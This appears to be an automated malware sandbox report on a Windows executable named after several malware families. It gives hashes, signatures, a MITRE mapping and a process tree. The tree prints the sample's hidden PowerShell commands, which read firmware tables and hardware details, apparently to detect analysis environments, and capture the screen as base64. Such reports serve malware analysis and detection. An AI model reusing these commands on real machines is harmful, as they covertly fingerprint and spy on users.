24d82fb1b249bb36b0fc9b3e38fa4aa576827d92d544ef7cbca52e8643ec06d7

Analysis

max time kernel
149s
max time network
95s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
22/05/2026, 23:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-22_64a88f32747c06c6544df41a6f110574_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe
Size 112.0MB
Sample260522-22cchaat8x
SHA256 24d82fb1b249bb36b0fc9b3e38fa4aa576827d92d544ef7cbca52e8643ec06d7
MD5 64a88f32747c06c6544df41a6f110574
SHA1 04a1449a49f1fb853c209cf7d9a451bc96d9c2dc
SHA512 6e5acbfff6e6c02fbeac71ad7f5025a3eae6e3e68712adcd22e8eb4e4c113a7bac94fcd897cba999cd15d3ffd5cf992d3f5d08f75dd76e91ac2ba058a2b2d9ac
SSDEEP 1572864:DAXffHRdXmZF8CY8EpRIf2pjmom3H7S7u+VYVXqwb:u3iXtqwb
TLSH
T1D6486C43B2A75098E4BBC97582D65323E5337C8A1F3069EF15845B312F73AE09B39B25
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2936	powershell.exe
2432	powershell.exe
3216	powershell.exe
2232	powershell.exe
488	powershell.exe
2960	powershell.exe
564	powershell.exe
3940	powershell.exe
3504	powershell.exe
2360	powershell.exe
3872	powershell.exe
2220	powershell.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
6	api.ipify.org

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
564	powershell.exe
564	powershell.exe
3940	powershell.exe
3940	powershell.exe
2232	powershell.exe
2232	powershell.exe
3504	powershell.exe
3504	powershell.exe
2360	powershell.exe
2360	powershell.exe
488	powershell.exe
488	powershell.exe
3872	powershell.exe
3872	powershell.exe
2220	powershell.exe
2220	powershell.exe
2960	powershell.exe
2960	powershell.exe
2936	powershell.exe
2936	powershell.exe
2432	powershell.exe
2432	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	564	powershell.exe
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeIncreaseQuotaPrivilege	3940	powershell.exe
Token: SeSecurityPrivilege	3940	powershell.exe
Token: SeTakeOwnershipPrivilege	3940	powershell.exe
Token: SeLoadDriverPrivilege	3940	powershell.exe
Token: SeSystemProfilePrivilege	3940	powershell.exe
Token: SeSystemtimePrivilege	3940	powershell.exe
Token: SeProfSingleProcessPrivilege	3940	powershell.exe
Token: SeIncBasePriorityPrivilege	3940	powershell.exe
Token: SeCreatePagefilePrivilege	3940	powershell.exe
Token: SeBackupPrivilege	3940	powershell.exe
Token: SeRestorePrivilege	3940	powershell.exe
Token: SeShutdownPrivilege	3940	powershell.exe
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeSystemEnvironmentPrivilege	3940	powershell.exe
Token: SeRemoteShutdownPrivilege	3940	powershell.exe
Token: SeUndockPrivilege	3940	powershell.exe
Token: SeManageVolumePrivilege	3940	powershell.exe
Token: 33	3940	powershell.exe
Token: 34	3940	powershell.exe
Token: 35	3940	powershell.exe
Token: 36	3940	powershell.exe
Token: SeDebugPrivilege	2232	powershell.exe
Token: SeIncreaseQuotaPrivilege	2232	powershell.exe
Token: SeSecurityPrivilege	2232	powershell.exe
Token: SeTakeOwnershipPrivilege	2232	powershell.exe
Token: SeLoadDriverPrivilege	2232	powershell.exe
Token: SeSystemProfilePrivilege	2232	powershell.exe
Token: SeSystemtimePrivilege	2232	powershell.exe
Token: SeProfSingleProcessPrivilege	2232	powershell.exe
Token: SeIncBasePriorityPrivilege	2232	powershell.exe
Token: SeCreatePagefilePrivilege	2232	powershell.exe
Token: SeBackupPrivilege	2232	powershell.exe
Token: SeRestorePrivilege	2232	powershell.exe
Token: SeShutdownPrivilege	2232	powershell.exe
Token: SeDebugPrivilege	2232	powershell.exe
Token: SeSystemEnvironmentPrivilege	2232	powershell.exe
Token: SeRemoteShutdownPrivilege	2232	powershell.exe
Token: SeUndockPrivilege	2232	powershell.exe
Token: SeManageVolumePrivilege	2232	powershell.exe
Token: 33	2232	powershell.exe
Token: 34	2232	powershell.exe
Token: 35	2232	powershell.exe
Token: 36	2232	powershell.exe
Token: SeDebugPrivilege	3504	powershell.exe
Token: SeIncreaseQuotaPrivilege	3504	powershell.exe
Token: SeSecurityPrivilege	3504	powershell.exe
Token: SeTakeOwnershipPrivilege	3504	powershell.exe
Token: SeLoadDriverPrivilege	3504	powershell.exe
Token: SeSystemProfilePrivilege	3504	powershell.exe
Token: SeSystemtimePrivilege	3504	powershell.exe
Token: SeProfSingleProcessPrivilege	3504	powershell.exe
Token: SeIncBasePriorityPrivilege	3504	powershell.exe
Token: SeCreatePagefilePrivilege	3504	powershell.exe
Token: SeBackupPrivilege	3504	powershell.exe
Token: SeRestorePrivilege	3504	powershell.exe
Token: SeShutdownPrivilege	3504	powershell.exe
Token: SeDebugPrivilege	3504	powershell.exe
Token: SeSystemEnvironmentPrivilege	3504	powershell.exe
Token: SeRemoteShutdownPrivilege	3504	powershell.exe
Token: SeUndockPrivilege	3504	powershell.exe
Token: SeManageVolumePrivilege	3504	powershell.exe
Token: 33	3504	powershell.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 2704 wrote to memory of 992	2704	2026-05-22_64a88f32747c06c6544df41a6f110574_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	80
PID 992 wrote to memory of 3216	992	cmd.exe	82
PID 2704 wrote to memory of 1536	2704	2026-05-22_64a88f32747c06c6544df41a6f110574_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	83
PID 1536 wrote to memory of 564	1536	cmd.exe	85
PID 564 wrote to memory of 2220	564	powershell.exe	86
PID 2704 wrote to memory of 3144	2704	2026-05-22_64a88f32747c06c6544df41a6f110574_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	87
PID 3144 wrote to memory of 3940	3144	cmd.exe	89
PID 2704 wrote to memory of 232	2704	2026-05-22_64a88f32747c06c6544df41a6f110574_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	91
PID 232 wrote to memory of 2232	232	cmd.exe	93
PID 2704 wrote to memory of 3996	2704	2026-05-22_64a88f32747c06c6544df41a6f110574_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	94
PID 3996 wrote to memory of 3504	3996	cmd.exe	96
PID 2704 wrote to memory of 4336	2704	2026-05-22_64a88f32747c06c6544df41a6f110574_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	97
PID 4336 wrote to memory of 2360	4336	cmd.exe	99
PID 2704 wrote to memory of 3196	2704	2026-05-22_64a88f32747c06c6544df41a6f110574_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	100
PID 3196 wrote to memory of 488	3196	cmd.exe	102
PID 2704 wrote to memory of 612	2704	2026-05-22_64a88f32747c06c6544df41a6f110574_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	103
PID 612 wrote to memory of 3872	612	cmd.exe	105
PID 2704 wrote to memory of 1072	2704	2026-05-22_64a88f32747c06c6544df41a6f110574_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	106
PID 1072 wrote to memory of 3352	1072	cmd.exe	108
PID 2704 wrote to memory of 996	2704	2026-05-22_64a88f32747c06c6544df41a6f110574_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	109
PID 996 wrote to memory of 3568	996	cmd.exe	111
PID 2704 wrote to memory of 3092	2704	2026-05-22_64a88f32747c06c6544df41a6f110574_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	112
PID 3092 wrote to memory of 2220	3092	cmd.exe	114
PID 2704 wrote to memory of 4596	2704	2026-05-22_64a88f32747c06c6544df41a6f110574_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	115
PID 4596 wrote to memory of 2960	4596	cmd.exe	117
PID 2704 wrote to memory of 4536	2704	2026-05-22_64a88f32747c06c6544df41a6f110574_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	118
PID 4536 wrote to memory of 2936	4536	cmd.exe	120
PID 2704 wrote to memory of 1580	2704	2026-05-22_64a88f32747c06c6544df41a6f110574_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	121
PID 1580 wrote to memory of 2432	1580	cmd.exe	123

C:\Users\Admin\AppData\Local\Temp\2026-05-22_64a88f32747c06c6544df41a6f110574_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-22_64a88f32747c06c6544df41a6f110574_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"|\\");}c.Clear();}}return s.ToString();}' -Name R1 -Namespace HW -Using System.Runtime.InteropServices; [HW.R1]::R()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:564
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vcdlae5q\vcdlae5q.cmdline"
      4⤵
      PID:2220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4336
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2360
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Manufacturer /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1072
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get Manufacturer /format:list
    3⤵
    PID:3352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Product /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:996
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get Product /format:list
    3⤵
    PID:3568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Size | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Size | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2432

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...